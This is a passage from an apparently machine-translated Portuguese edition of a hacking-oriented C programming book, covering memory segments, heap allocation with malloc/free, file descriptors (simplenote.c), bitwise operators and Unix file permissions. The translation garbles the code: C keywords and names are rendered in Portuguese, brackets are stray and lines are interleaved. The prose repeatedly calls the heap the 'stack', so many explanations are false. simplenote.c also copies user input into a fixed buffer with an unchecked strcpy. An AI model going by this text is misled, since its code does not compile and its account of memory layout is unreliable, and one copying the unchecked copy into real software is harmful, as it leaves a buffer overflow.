o</p><p>outro. Isto minimiza o desperdício</p><p>de espaço, permitindo que a pilha</p><p>seja maior se a pilha for pequena e</p><p>vice versa.</p><p>0x271 Segmentos de memória</p><p>em C</p><p>Endereços baixos</p><p>Endereços altos</p><p>Em C, como em outros idiomas compilados, o código compilado vai para o</p><p>segmento de texto, enquanto as variáveis residem nos segmentos restantes.</p><p>Exatamente em qual segmento de memória uma variável será armazenada,</p>
<p>depende de como a variável é definida. As variáveis que são definidas fora</p><p>de qualquer função são consideradas como globais. A palavra-chave</p><p>estática também pode ser prefixada a qualquer declaração de variável para</p><p>tornar a variável estática. Se as variáveis estáticas ou globais forem</p><p>inicialmente dimensionadas com dados, elas são armazenadas no segmento</p><p>de memória de dados; caso contrário, estas variáveis são colocadas no</p><p>segmento de memória bss. A memória no segmento de memória heap deve</p><p>primeiro ser alocada usando uma função de alocação de memória</p><p>chamada malloc(). Normalmente, são usados ponteiros para referenciar a</p><p>memória no heap.</p><p>Finalmente, as variáveis de função restantes são armazenadas no segmento</p><p>Segmento de texto (código)</p><p>Segmento de dados</p><p>segmento bss</p><p>Segmento de pilha</p><p>O monte cresce</p><p>em direção a</p><p>endereços de</p><p>memória mais</p><p>altos.</p><p>A pilha cresce</p><p>para baixo</p><p>endereços de memória.</p><p>Segmento de pilha</p><p>Programação 79</p><p>de memória em pilha. Uma vez que a pilha pode conter muitas estruturas de</p><p>pilha diferentes, as variáveis de pilha podem manter a singularidade dentro</p><p>de diferentes contextos funcionais. O programa memory_segments.c ajudará</p><p>a explicar estes conceitos em C.</p><p>memory_segments.c</p><p>#include <stdio.h></p><p>int global_var;</p><p>80 0 x 2</p><p>0 0</p><p>int global_inicialized_var = 5;</p><p>função void() { // Esta é apenas uma função de demonstração.</p><p>int stack_var; // Note que esta variável tem o mesmo nome que a variável em main().</p><p>printf("o stack_var da função está no endereço 0x%08x\n", &stack_var);</p><p>}</p><p>int main() {)</p><p>int stack_var; // Mesmo nome que a variável em função()</p><p>estática int static_initialized_var = 5;</p><p>static int static_var;</p><p>int *heap_var_ptr;</p><p>heap_var_ptr = (int *) malloc(4);</p><p>// Estas variáveis estão no segmento de dados.</p><p>printf("global_initialized_var is at address 0x%08x\n", &global_initialized_var);</p><p>printf("static_initialized_var is at address 0x%08x\n", &static_initialized_var);</p><p>// Estas variáveis estão no segmento bss.</p><p>printf("static_var is at address 0x%08x\n", &static_var);</p><p>printf("global_var is at address 0x%08x\n", &global_var);</p><p>// Esta variável está no segmento das pilhas.</p><p>printf("heap_var está no endereço 0x%08x\n\n", heap_var_ptr);</p><p>// Estas variáveis estão no segmento stack. printf("stack_var</p><p>está no endereço 0x%08x\n", &stack_var); function();</p><p>}</p><p>A maioria deste código é bastante auto-explicativa por causa dos nomes</p><p>descritivos das variáveis. As variáveis globais e estáticas são declaradas como</p><p>descritas anteriormente, e as contrapartidas inicializadas também são</p><p>declaradas. A variável stack é declarada tanto em main() como em function()</p><p>para mostrar o efeito dos contextos funcionais. A variável heap é declarada</p><p>como um ponteiro inteiro, que apontará para a memória alocada no</p><p>segmento de memória heap. A função malloc() é chamada para alocar quatro</p><p>bytes no heap. Como a memória alocada recentemente poderia ser de</p><p>qualquer tipo de dado, a função malloc() retorna um ponteiro vazio, que</p><p>precisa ser datilografado em um ponteiro inteiro.</p><p>reader@hacking:~/booksrc $ gcc memory_segments.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>global_initialized_var is at address 0x080497ec</p><p>static_initialized_var is at address 0x080497f0</p><p>static_var está no endereço 0x080497f8</p><p>global_var está no endereço 0x080497fc</p><p>heap_var está no endereço 0x0804a008</p><p>Programação 81</p><p>stack_var está no endereço 0xbffff834</p><p>a função stack_var está no endereço 0xbffff814</p><p>reader@hacking:~/booksrc $</p><p>heap_example.c</p><p>As duas primeiras variáveis inicializadas têm os endereços de memória</p><p>mais baixos, uma vez que estão localizadas no segmento de memória de</p><p>dados. As duas variáveis seguintes, static_var e global_var, são armazenadas no</p><p>segmento de memória bss, uma vez que não estão inicializadas. Estes</p><p>endereços de memória são ligeiramente maiores que os endereços das</p><p>variáveis anteriores, uma vez que o segmento bss está localizado abaixo do</p><p>segmento de dados. Como estes dois segmentos de memória têm um</p><p>tamanho fixo após a compilação, há pouco espaço desperdiçado e os</p><p>endereços não estão muito distantes.</p><p>A variável pilha é armazenada no espaço alocado no segmento da</p><p>pilha, que está localizado logo abaixo do segmento bss. Lembre-se de que a</p><p>memória neste segmento não é fixa, e mais espaço pode ser alocado</p><p>dinamicamente mais tarde. Finalmente, as duas últimas varas_de_pilha têm</p><p>endereços de memória muito grandes, já que estão localizadas no segmento</p><p>de pilha. A memória na pilha também não é fixa; no entanto, esta memória</p><p>começa na parte inferior e cresce para trás em direção ao segmento da pilha.</p><p>Isto permite que ambos os segmentos de memória sejam dinâmicos sem</p><p>desperdiçar espaço na memória. A primeira stack_var no contexto da</p><p>função principal() é armazenada no segmento de pilha dentro de uma</p><p>estrutura de pilha. A segunda stack_var na função() tem seu próprio</p><p>contexto único, de modo que a variável é armazenada dentro de uma</p><p>estrutura de pilha diferente no segmento de pilha. Quando function() é</p><p>chamada perto do final do programa, uma nova stack frame é criada para</p><p>armazenar (entre outras coisas) a stack_var para o contexto da function().</p><p>Como a pilha cresce novamente em direção ao segmento de pilha com cada</p><p>novo frame de pilha, o endereço de memória para o segundo stack_var</p><p>(0xbffff814) é menor que o endereço para o primeiro stack_var (0xbffff834)</p><p>encontrado dentro do contexto da main().</p><p>0x272 Usando a pilha</p><p>Usar os outros segmentos de memória é simplesmente uma questão de</p><p>como você declara variáveis. Entretanto, o uso da pilha requer um pouco</p><p>mais de esforço. Como demonstrado anteriormente, a alocação de memória</p><p>na pilha é feita usando a função malloc(). Esta função aceita um tamanho</p><p>como seu único argumento e reserva muito espaço no segmento da pilha,</p><p>retornando o endereço para o início desta memória como um ponteiro vazio.</p><p>Se a função malloc() não puder alocar memória por algum motivo, ela</p><p>simplesmente retornará um ponteiro NULL com um valor 0. A função de</p><p>desalocação correspondente é livre(). Esta função aceita um ponteiro como</p><p>seu único argumento e libera esse espaço de memória na pilha para que</p><p>possa ser usado novamente mais tarde. Estas funções relativamente simples</p><p>são demonstradas no heap_example.c.</p><p>#include <stdio.h></p><p>82 0 x 2</p><p>0 0</p><p>#include <stdlib.h></p><p>#include <string.h></p><p>Programação 83</p><p>int main(int argc, char *argv[]) { char</p><p>*char_ptr; // Um apontador de</p><p>char</p><p>int *int_ptr; // Um ponteiro</p><p>inteiro int mem_size;</p><p>se (argc < 2) // Se não houver argumentos de linha de</p><p>comando, mem_size = 50; // use 50 como o valor padrão.</p><p>senão</p><p>mem_size = atoi(argv[1]);</p><p>printf("\t[+] alocando %d bytes de memória na pilha para char_ptr\n", mem_size); char_ptr</p><p>= (char *) malloc(mem_size); // alocando memória da pilha</p><p>if(char_ptr == NULL) { // Error checking, in case malloc() fails</p><p>fprintf(stderr, "Error: could not alloc heap memory.\n");</p><p>exit(-1);</p><p>}</p><p>strcpy(char_ptr, "Esta é uma memória localizada na pilha");</p><p>printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);</p><p>printf("\t[+] alocando 12 bytes de memória no amontoado para</p><p>int_ptr\n"); int_ptr = (int *) malloc(12); // Alocação de memória do</p><p>amontoado novamente</p><p>if(int_ptr == NULL) { // Error checking, in case malloc() fails</p><p>fprintf(stderr, "Error: could not alloc heap memory.\n");</p><p>exit(-1);</p><p>}</p><p>*int_ptr = 31337; // Coloque o valor de 31337 onde int_ptr está</p><p>apontando. printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);</p><p>printf("\t[-] libertando a memória amontoada do</p><p>char_ptr...\n"); free(char_ptr); // Libertando a</p><p>memória amontoada do char_ptr</p><p>printf("\t[+] alocando mais 15 bytes para char_ptr\n"); char_ptr =</p><p>(char *) malloc(15); // alocando mais memória de pilha</p><p>if(char_ptr == NULL) { // Error checking, in case malloc() fails</p><p>fprintf(stderr, "Error: could not alloc heap memory.\n");</p><p>exit(-1);</p><p>}</p><p>strcpy(char_ptr, "nova memória");</p><p>printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);</p><p>printf("\t[-] libertando a memória do monte</p><p>int_ptr...\n"); free(int_ptr); //</p>
<p>Libertando a</p><p>memória do monte int_ptr</p><p>printf("\t[-] libertando a memória do amontoado de</p><p>char_ptr...\n"); free(char_ptr); // Libertando o outro bloco</p><p>84 0 x 2</p><p>0 0</p><p>de memória do amontoado de char_ptr</p><p>}</p><p>Programação 85</p><p>Este programa aceita um argumento de linha de comando para o</p><p>tamanho da primeira alocação de memória, com um valor padrão de 50.</p><p>Depois ele usa as funções malloc() e free() para alocar e desalocar a memória</p><p>na pilha. Há muitas declarações printf() para depurar o que está realmente</p><p>acontecendo quando o programa é executado. Como malloc() não sabe que</p><p>tipo de memória está alocando, ele retorna um ponteiro vazio para a</p><p>memória heap recém alocada, que deve ser digitada no tipo apropriado.</p><p>Após cada chamada malloc(), há um bloco de verificação de erros que verifica</p><p>se a alocação falhou ou não. Se a alocação falhar e o ponteiro for NULL,</p><p>fprintf() é usado para imprimir uma mensagem de erro para erro padrão e o</p><p>programa sai. A função fprintf() é muito semelhante à printf(); entretanto,</p><p>seu primeiro argumento é stderr, que é um filestream padrão destinado a</p><p>exibir erros. Esta função será explicada mais tarde, mas por enquanto, é</p><p>apenas usada como uma forma de exibir corretamente um erro. O resto do</p><p>programa é bastante simples.</p><p>reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c</p><p>reader@hacking:~/booksrc $ ./heap_example</p><p>[+] alocando 50 bytes de memória na pilha para char_ptr char_ptr</p><p>(0x804a008) --> 'Esta é a memória está localizada na pilha'.</p><p>[+] alocando 12 bytes de memória na pilha para int_ptr int_ptr</p><p>(0x804a040) --> 31337</p><p>[-] liberando a memória amontoada de char_ptr...</p><p>[+] alocando outros 15 bytes para char_ptr</p><p>char_ptr (0x804a050) --> 'nova memória'.</p><p>[-] liberando a memória</p><p>amontoada da int_ptr. [-] liberando</p><p>a memória amontoada do</p><p>char_ptr...</p><p>reader@hacking:~/booksrc $</p><p>Na saída anterior, observe que cada bloco de memória tem um endereço</p><p>de memória mentalmente mais alto na pilha. Embora os primeiros 50 bytes</p><p>tenham sido desalocados, quando são solicitados mais 15 bytes, eles são</p><p>colocados após os 12 bytes alocados para o int_ptr. As funções de alocação de</p><p>pilha controlam este comportamento, que pode ser explorado alterando o</p><p>tamanho da alocação inicial de memória.</p><p>reader@hacking:~/booksrc $ ./heap_example 100</p><p>[+] alocando 100 bytes de memória na pilha para char_ptr char_ptr</p><p>(0x804a008) --> 'Esta é a memória está localizada na pilha'.</p><p>[+] alocando 12 bytes de memória na pilha para int_ptr int_ptr</p><p>(0x804a070) --> 31337</p><p>[-] liberando a memória amontoada de char_ptr...</p><p>[+] alocando outros 15 bytes para char_ptr</p><p>char_ptr (0x804a008) --> 'nova memória'.</p><p>[-] liberando a memória</p><p>amontoada da int_ptr. [-] liberando</p><p>a memória amontoada do</p><p>char_ptr...</p><p>reader@hacking:~/booksrc $</p><p>86 0 x 2</p><p>0 0</p><p>Se um bloco de memória maior for alocado e depois desalocado, a</p><p>alocação final de 15 bytes ocorrerá naquele espaço de memória livre, em vez</p><p>disso. Através de experi- mentoria com valores diferentes, você pode</p><p>descobrir exatamente quando a alocação</p><p>Programação 87</p><p>escolhe recuperar o espaço liberado para novas alocações. Muitas vezes,</p><p>simples declarações informativas printf() e um pouco de experimentação</p><p>podem revelar muitas coisas sobre o sistema subjacente.</p><p>0x273 malloc() verificado por erro</p><p>No heap_example.c, houve várias verificações de erro para as chamadas</p><p>malloc(). Mesmo que as chamadas malloc() nunca falharam, é importante</p><p>lidar com todos os casos potenciais ao codificar em C. Mas com múltiplas</p><p>chamadas malloc(), este código de verificação de erro precisa aparecer em</p><p>vários lugares. Isto geralmente faz o código parecer descuidado, e é</p><p>inconveniente se for necessário fazer mudanças no código de verificação de</p><p>erros ou se novas chamadas malloc() forem necessárias. Como todo o código</p><p>de verificação de erros é basicamente o mesmo para cada chamada malloc(),</p><p>este é um lugar perfeito para usar uma função em vez de repetir as mesmas</p><p>instruções em vários lugares. Dê uma olhada no errorchecked_heap.c para</p><p>um exemplo.</p><p>errorchecked_heap.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>void *errorchecked_malloc(unsigned int); // Protótipo de função para errorchecked_malloc()</p><p>int main(int argc, char *argv[]) {</p><p>char *char_ptr; // Um apontador de char</p><p>int *int_ptr; // Um ponteiro</p><p>inteiro int mem_size;</p><p>se (argc < 2) // Se não houver argumentos de linha de</p><p>comando, mem_size = 50; // use 50 como o valor padrão.</p><p>senão</p><p>mem_size = atoi(argv[1]);</p><p>printf("\t[+] alocando %d bytes de memória na pilha para char_ptr\n", mem_size); char_ptr =</p><p>(char *) errorchecked_malloc(mem_size); // alocando memória da pilha</p><p>strcpy(char_ptr, "Esta é uma memória localizada na pilha");</p><p>printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);</p><p>printf("\t[+] alocando 12 bytes de memória na pilha para int_ptr\n"); int_ptr =</p><p>(int *) errorchecked_malloc(12); // Alocação de memória na pilha</p><p>novamente</p><p>*int_ptr = 31337; // Coloque o valor de 31337 onde int_ptr está</p><p>apontando. printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);</p><p>printf("\t[-] libertando a memória amontoada do</p><p>char_ptr...\n"); free(char_ptr); // Libertando a</p><p>memória amontoada do char_ptr</p><p>printf("\t[+] alocando outros 15 bytes para char_ptr[...]");</p><p>88 0 x 2</p><p>0 0</p><p>char_ptr = (char *) errorchecked_malloc(15); // Atribuição de mais strcpy(char_ptr, "nova</p><p>memória") de memória heappy(char_ptr, "nova memória");</p><p>Programação 89</p><p>printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);</p><p>printf("\t[-] libertando a memória do monte</p><p>int_ptr...\n"); free(int_ptr); // Libertando a</p><p>memória do monte int_ptr</p><p>printf("\t[-] liberando a memória do amontoado de</p><p>char_ptr...\n"); free(char_ptr); // Libertando o outro bloco</p><p>de memória do amontoado de char_ptr</p><p>}</p><p>void *errorchecked_malloc(unsigned int size) { // An error-checked malloc() function</p><p>void *ptr;</p><p>ptr = malloc(size);</p><p>if(ptr == NULL) {</p><p>fprintf(stderr, "Erro: não foi possível alocar a memória do</p><p>monte.\n"); saída(-1);</p><p>}</p><p>retorno ptr;</p><p>}</p><p>O programa heap_heap.c é basicamente equivalente ao código</p><p>heap_example.c anterior, exceto que a alocação de memória heap_heap.c e</p><p>a verificação de erros foi reunida em uma única função. A primeira linha de</p><p>código [void *errorchecked_malloc(unsigned int);] é o protótipo da função. Isto</p><p>permite ao compilador saber que existirá uma função chamada</p><p>errorchecked_malloc() que espera um único argumento inteiro não assinado e</p><p>retorna um ponteiro vazio. A função real pode então estar em qualquer lugar;</p><p>neste caso, ela está após a função principal() func- ção. A função em si é</p><p>bastante simples; ela apenas aceita o tamanho em bytes para alocar e tenta</p><p>alocar essa quantidade de memória usando malloc(). Se a alocação falhar, o</p><p>código de verificação de erros exibe um erro e o programa sai; caso contrário,</p><p>ele retorna o ponteiro para a memória da pilha recentemente alocada. Desta</p><p>forma, a função custom errorchecked_malloc() pode ser usada no lugar de um</p><p>malloc() normal, eliminando a necessidade de verificação de erros repetitivos</p><p>após a ala. Isto deve começar a realçar a utilidade da programação com</p><p>funções.</p><p>0x280 Construindo sobre o básico</p><p>Uma vez entendidos os conceitos básicos da programação C, o resto é muito</p><p>fácil. A maior parte do poder do C vem do uso de outras funções. Na</p><p>verdade, se as funções fossem removidas de qualquer um dos programas</p><p>anteriores, tudo o que restaria seriam afirmações muito básicas.</p><p>0x281 Acesso a arquivos</p><p>Há duas formas principais de acessar os arquivos em C: descritores de</p><p>arquivos e fluxos de arquivos. Os descritores de arquivo utilizam um conjunto de</p><p>funções de E/S de baixo nível, e os filestreams são uma forma de E/S de nível</p><p>superior, construída sobre as funções de nível inferior. Alguns consideram as</p><p>funções de filestream mais fáceis de programar; entretanto, os descritores</p><p>90 0 x 2</p><p>0 0</p><p>de arquivo são mais diretos. Neste livro, o foco estará nas funções de E/S de</p><p>baixo nível que utilizam descritores de arquivo.</p><p>Programação 91</p>
<p>O código de barras no verso deste livro representa um número. Como</p><p>este número é único entre os outros livros de uma livraria, o caixa pode</p><p>escanear o número na caixa e usá-lo para referenciar informações sobre este</p><p>livro no banco de dados da loja. Da mesma forma, um descritor de arquivo é</p><p>um número que é usado para fazer referência a arquivos abertos. Quatro</p><p>funções comuns que utilizam os descritores de arquivo</p><p>são abertas(), fechadas(), lidas(), e escritas(). Todas estas funções retornarão -1</p><p>se houver um erro. A função open() abre um arquivo para leitura e/ou</p><p>escrita</p><p>e devolve um descritor de arquivo. O descritor de arquivo retornado é apenas</p><p>um valor inteiro, mas é único entre os arquivos abertos. O descritor de</p><p>arquivo é passado como argumento para as outras funções, como um</p><p>ponteiro para o arquivo aberto. Para a função close(), o descritor de arquivo é</p><p>o único argumento. Os argumentos das funções ler() e escrever() são o</p><p>descritor de arquivo, um ponteiro para os dados a ler ou escrever, e o</p><p>número de bytes a ler ou escrever daquele local. Os argumentos para a</p><p>função open() são um ponteiro para o nome do arquivo a ser aberto e uma</p><p>série de bandeiras pré-definidas que especificam o modo de acesso. Estas</p><p>bandeiras e seu uso serão explicados em profundidade mais tarde, mas por</p><p>enquanto vamos dar uma olhada em um programa simples de tomada de</p><p>notas que usa descritores de arquivo-simplenote.c. Este programa aceita uma</p><p>nota como argumento de linha de comando e depois a adiciona ao final do</p><p>arquivo /tmp/notas. Este programa usa várias funções, incluindo uma função</p><p>de alocação de memória de pilha de erros de aparência familiar. Outros func-</p><p>tions são usados para exibir uma mensagem de uso e para lidar com erros</p><p>fatais. A função de uso() é simplesmente definida antes da função main(),</p><p>portanto não precisa de um protótipo de função.</p><p>simplenote.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>#include <fcntl.h></p><p>#include <sys/stat.h></p><p>uso inválido(char *nome_do_prog, char *nome_do_filme) {</p><p>printf("Utilização: %s <dados para adicionar a %s>\n", prog_name,</p><p>nome do arquivo); exit(0);</p><p>}</p><p>fatal(char *) nulo; // Uma função para erros fatais</p><p>void *ec_malloc(unsigned int); // Um invólucro malloc() verificado por erro</p><p>int main(int argc, char *argv[]) {</p><p>int fd; // arquivo descriptor</p><p>char *buffer, *datafile;</p><p>buffer = (char *) ec_malloc(100);</p><p>datafile = (char *) ec_malloc(20);</p><p>strcpy(datafile, "/tmp/notes");</p><p>92 0 x 2</p><p>0 0</p><p>if(argc < 2) // Se não houver argumentos de linha de</p><p>comando, uso(argv[0], datafile); // exibir mensagem de uso e saída.</p><p>Programação 93</p><p>strcpy(buffer, argv[1]); // Copiar em buffer.</p><p>tampão printf("[DEBUG] tampão @ %p: \%s'\n", buffer,</p><p>buffer); printf("[DEBUG] datafile @ %p: \n", datafile, datafile);</p><p>strncat(buffer, "\n", 1); // Adicione uma nova linha no final.</p><p>// Arquivo de abertura</p><p>fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);</p><p>if(fd == -1)</p><p>fatal("in main() while opening file");</p><p>printf("[DEBUG] file descriptor is %d\n",</p><p>fd);</p><p>// Dados de escrita</p><p>if(write(fd, buffer, strlen(buffer)) == -1) fatal("in</p><p>main() while writing buffer to file");</p><p>// Arquivo de</p><p>fechamento</p><p>if(close(fd) == -1)</p><p>fatal("in main() while closing file");</p><p>printf("Note has been saved.\n");</p><p>free(buffer);</p><p>grátis(datafile);</p><p>}</p><p>// Uma função para exibir uma mensagem de erro e depois</p><p>sair void fatal(char *message) {</p><p>mensagem de erro de char_message[100];</p><p>strcpy(error_message, "[!!] Fatal Error ");</p><p>strncat(error_message, mensagem, 83);</p><p>perror(error_message);</p><p>saída(-1);</p><p>}</p><p>// Um malloc() invólucro com função malloc()</p><p>vazia *ec_malloc(unsigned int size) {</p><p>nulo *ptr;</p><p>ptr =</p><p>malloc(tamanho);</p><p>if(ptr == NULL)</p><p>fatal("in ec_malloc() on memory allocation");</p><p>retornar ptr;</p><p>}</p><p>Além das bandeiras de aparência estranha usadas na função open(), a</p><p>maior parte deste código deve ser legível. Há também algumas funções</p><p>padrão que não usamos antes. A função strlen() aceita uma string e retorna</p><p>seu comprimento. Ela é usada em combinação com a função write(), uma</p><p>vez que precisa saber quantos bytes escrever. A função perror() é abreviada</p><p>para erro de impressão e é usada em fatal() para imprimir uma mensagem de</p><p>erro adicional (se ela existir) antes de sair.</p><p>94 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c reader@hacking:~/booksrc</p><p>$ ./simplenote</p><p>Utilização: ./simplenote <dados a acrescentar a /tmp/notas></p><p>Programação 95</p><p>reader@hacking:~/booksrc $ ./simplenote "isto é uma nota de</p><p>teste" [DEBUG] buffer @ 0x804a008: 'esta é uma nota de</p><p>teste'.</p><p>[DEBUG] datafile @ 0x804a070: '/tmp/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>Nota foi salva. reader@hacking:~/booksrc $</p><p>cat /tmp/notes esta é uma nota de teste</p><p>reader@hacking:~/booksrc $ ./simplenote "ótimo, ele</p><p>funciona" [DEBUG] buffer @ 0x804a008: 'ótimo,</p><p>funciona'.</p><p>[DEBUG] datafile @ 0x804a070: '/tmp/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>Nota foi salva. reader@hacking:~/booksrc $</p><p>cat /tmp/notes esta é uma nota de teste</p><p>ótimo, funciona</p><p>reader@hacking:~/booksrc $</p><p>A saída da execução do programa é bastante auto-explicativa, mas há</p><p>algumas coisas sobre o código fonte que precisam de mais explicações. Os</p><p>arquivos fcntl.h e sys/stat.h tiveram que ser incluídos, já que esses arquivos</p><p>definem as bandeiras utilizadas com a função open(). O primeiro conjunto de</p><p>bandeiras é encontrado no fcntl.h e é usado para definir o modo de acesso. O</p><p>modo de acesso deve usar pelo menos uma das três bandeiras a seguir:</p><p>O_RDONLY Arquivo aberto para acesso somente leitura.</p><p>O_WRONLY Arquivo aberto para acesso somente para escrita.</p><p>O_RDWR Abrir arquivo para acesso de leitura e escrita.</p><p>Estas bandeiras podem ser combinadas com várias outras bandeiras</p><p>opcionais usando o operador OR bitwise. Algumas das mais comuns e úteis</p><p>destas bandeiras são as seguintes:</p><p>O_APPEND Escreva os dados no final do arquivo.</p><p>O_TRUNC Se o arquivo já existir, truncar o arquivo para o comprimento 0.</p><p>O_CREAT Crie o arquivo se ele não existir.</p><p>As operações Bitwise combinam bits usando portões lógicos padrão</p><p>como OR e AND. Quando dois bits entram em uma porta OR, o resultado é 1</p><p>se o primeiro bit ou o segundo for 1. Se dois bits entram em uma porta AND,</p><p>o resultado é 1 somente se o primeiro bit e o segundo forem 1. Valores</p><p>completos de 32 bits podem usar estes operadores bit a bit para realizar</p><p>operações lógicas em cada bit correspondente. O código fonte do bitwise.c e</p><p>a saída do programa demonstram estas operações bitwise.</p><p>bitwise.c</p><p>#include <stdio.h></p><p>int main() {</p><p>int i, bit_a, bit_b; printf("bitwise</p><p>OR operator | | n ");</p><p>96 0 x 2</p><p>0 0</p><p>for(i=0; i < 4; i++) {</p><p>bit_a = (i & 2) / 2; // Obtenha o segundo bit.</p><p>bit_b = (i & 1); // Obter o primeiro</p><p>bit.</p><p>printf("%d | %d = %d\n", bit_a, bit_b, bit_a | bit_b);</p><p>}</p><p>printf("\nbitwise AND operator &\n");</p><p>for(i=0; i < 4; i++) {</p><p>bit_a = (i & 2) / 2; // Obtenha o segundo bit.</p><p>bit_b = (i & 1); // Obter o primeiro</p><p>bit.</p><p>printf("%d & %d = %d\n", bit_a, bit_b, bit_a & bit_b);</p><p>}</p><p>}</p><p>Os resultados da compilação e execução do bitwise.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc bitwise.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>bitwise OU operador |</p><p>0 | 0 = 0</p><p>0 | 1 = 1</p><p>1 | 0 = 1</p><p>1 | 1 = 1</p><p>bitwise E operador &</p><p>0 & 0 = 0</p><p>0 & 1 = 0</p><p>1 & 0 = 0</p><p>1 & 1 = 1</p><p>reader@hacking:~/booksrc $</p><p>fcntl_flags.c</p><p>As bandeiras utilizadas para a função open() têm valores que</p><p>correspondem a bits individuais. Desta forma, as bandeiras podem ser</p><p>combinadas usando a lógica OR sem destruir qualquer informação. O</p><p>programa fcntl_flags.c e sua saída exploram alguns dos valores das</p><p>bandeiras definidos pelo fcntl.h e como elas se combinam entre si.</p><p>#include <stdio.h></p><p>#include <fcntl.h></p><p>void display_flags(char *, unsigned int);</p><p>void binary_print(unsigned int);</p><p>int main(int argc, char *argv[]) {</p><p>display_flags("O_RDWRONLY", O_RDONLY);</p><p>display_flags("O_WRONLY", O_WRONLY);</p><p>display_flags("O_RDWRWt", O_RDWR);</p><p>printf("ñ"); display_flags("O_APPEND",</p><p>O_APPEND); display_flags("O_TRUNCt",</p><p>O_TRUNC);</p>
<p>display_flags("O_CREAT",</p><p>O_CREAT);</p><p>Programação 97</p><p>printf("\n");</p><p>display_flags("O_WRONLY|O_APPEND|O_CREAT", O_WRONLY|O_APPEND|O_CREAT);</p><p>}</p><p>display_flags(char *label, valor int não assinado) {</p><p>printf("%s\t: %d\t:", etiqueta, valor);</p><p>binary_print(value);</p><p>printf("\n");</p><p>}</p><p>void binary_print(unsigned int value) {</p><p>máscara int sem assinatura = 0xff000000; // Começar com uma máscara para o</p><p>byte mais alto. int shift sem assinatura = 256*256*256; // Começar com um shift</p><p>para o byte mais alto. int byte sem assinatura, byte_iterator, bit_iterator;</p><p>for(byte_iterator=0; byte_iterator < 4; byte_iterator++) {</p><p>byte = (valor & máscara) / turno; // Isolar cada byte.</p><p>printf(" ");</p><p>for(bit_iterator=0; bit_iterator < 8; bit_iterator++) { // Imprimir os bits do byte.</p><p>if(byte & 0x80) // Se o bit mais alto no byte não for 0,</p><p>printf("1"); // imprimir</p><p>um 1. outro</p><p>printf("0"); // Caso contrário, imprima um 0.</p><p>byte *= 2; // Mova todos os bits para a esquerda por 1.</p><p>}</p><p>máscara /= 256; // Mover os bits da máscara para a</p><p>direita por 8. turno /= 256;// Mover os bits no turno para</p><p>a direita por 8.</p><p>}</p><p>}</p><p>Os resultados da compilação e execução do fcntl_flags.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc fcntl_flags.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>O_RDONLY</p><p>O_WRONLY</p><p>O_RDWR</p><p>: 0</p><p>: 1</p><p>: 2</p><p>: 00000000 00000000 00000000 00000000</p><p>: 00000000 00000000 00000000 00000001</p><p>: 00000000 00000000 00000000 00000010</p><p>O_APPEND : 1024 : 00000000 00000000 00000100 00000000</p><p>O_TRUNC : 512 : 00000000 00000000 00000010 00000000</p><p>O_CREAT : 64 : 00000000 00000000 00000000 01000000</p><p>O_WRONLY|O_APPEND|O_CREAT</p><p>$</p><p>: 1089 : 00000000 00000000 00000100 01000001</p><p>O uso de bandeiras de bit em combinação com a lógica bitwise é uma</p><p>técnica eficiente e com- mono-utilizada. Desde que cada bandeira seja um</p><p>número que tenha apenas bits únicos ligados, o efeito de fazer um bitwise OR</p><p>sobre estes valores é o mesmo que adicioná-los. Em fcntl_flags.c, 1 + 1024 +</p><p>64 = 1089. Esta técnica só funciona quando todos os bits são únicos, no</p><p>entanto.</p><p>98 0 x 2</p><p>0 0</p><p>0x282 Permissões de arquivo</p><p>Se a bandeira O_CREAT for usada no modo de acesso para a função open(),</p><p>um argumento adicional é necessário para definir as permissões de arquivo</p><p>do arquivo recém-criado. Este argumento usa bit flags definidos em</p><p>sys/stat.h, que podem ser combinados uns com os outros usando bitwise OR</p><p>logic.</p><p>S_IRUSR Dar permissão de leitura do arquivo para o usuário</p><p>(proprietário). S_IWUSR Dar permissão de escrita ao arquivo para o</p><p>usuário (proprietário). S_IXUSR Dar ao arquivo permissão de</p><p>execução para o usuário (proprietário). S_IRGRP Dar permissão de</p><p>leitura do arquivo para o grupo.</p><p>S_IWGRP Dar permissão de escrita ao arquivo para o grupo.</p><p>S_IXGRP Dê permissão de execução do arquivo para o grupo.</p><p>S_IROTH Dê permissão de leitura do arquivo para outros</p><p>(qualquer um). S_IWOTH Dar permissão de escrita ao arquivo</p><p>para outros (qualquer um).</p><p>S_IXOTH Dar ao arquivo permissão de execução para outros (qualquer um).</p><p>Se você já está familiarizado com as permissões de arquivos Unix, essas</p><p>bandeiras devem fazer todo o sentido para você. Se elas não fizerem sentido,</p><p>aqui está um curso intensivo sobre permissões de arquivos Unix.</p><p>Cada arquivo tem um proprietário e um grupo. Estes valores podem ser</p><p>exibidos usando</p><p>ls -l e são mostrados abaixo na saída seguinte.</p><p>reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote*</p><p>-rw-r--r-- 1 raiz raiz 1424 2007-09-06 09:45 /etc/passwd</p><p>-rwxr-xr-x 1 leitor 8457 2007-09-07 02:51 simplenote</p><p>-rw------- 1 leitor leitor 1872 2007-09-07 02:51 simplenote.c</p><p>reader@hacking:~/booksrc $</p><p>Para o arquivo /etc/passwd, o proprietário é a raiz e o grupo também é a</p><p>raiz. Para os outros dois arquivos simplenote, o proprietário é o leitor e o grupo</p><p>é o usuário.</p><p>As permissões de leitura, escrita e execução podem ser ativadas e</p><p>desativadas para três campos diferentes: usuário, grupo, e outros. As</p><p>permissões de usuário descrevem o que o proprietário do arquivo pode</p><p>fazer (ler, escrever e/ou executar), as permissões de grupo descrevem o</p><p>que os usuários naquele grupo podem fazer, e outras permissões</p><p>descrevem o que 